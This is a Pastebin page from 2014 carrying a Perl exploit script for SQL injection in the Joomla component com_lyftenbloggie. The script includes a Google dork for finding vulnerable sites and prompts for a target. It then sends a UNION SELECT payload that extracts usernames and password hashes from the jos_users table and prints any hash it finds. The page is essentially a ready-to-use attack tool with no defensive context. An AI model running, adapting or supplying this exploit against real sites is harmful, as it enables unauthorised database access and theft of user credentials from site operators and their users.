HaniXavi

Joomla Component com_lyftenbloggie SQL Injection exploit

Oct 7th, 2014
437
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Exploit title: Joomla Component com_lyftenbloggie SQL Injection exploit
  3. #Google Dork: inurl:index.php?option=com_lyftenbloggie&
  4. #Exploit Author: Hani Xavi
  5.  
  6. system("color a");
  7. print "*********************************************\n";
  8. print "* Joomla Component com_lyftenbloggie *\n";
  9. print "* SQL Injection *\n";
  10. print "* Coded by Hani Xavi *\n";
  11. print "*********************************************\n";
  12. sleep 1;
  13. use LWP::UserAgent;
  14. print "Enter the target --> ";
  15. chomp(my $target=<STDIN>);
  16. $code="+union+select+1,concat_ws(0x3a,username,password),3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users--;";
  17. $agent = LWP::UserAgent->new() or die "[!] Error while processing";
  18. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
  19. $host= $target. "/index.php?option=com_lyftenbloggie==".$code;
  20. $ok = $agent->request(HTTP::Request->new(GET=>$host));
  21. $ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
  22. print "[+] Password found --> $1\n$2\n";
  23. sleep 1;
  24. }
  25. else
  26. {
  27. print "Password not found \n";
  28. }
Advertisement
Add Comment
Please, Sign In to add comment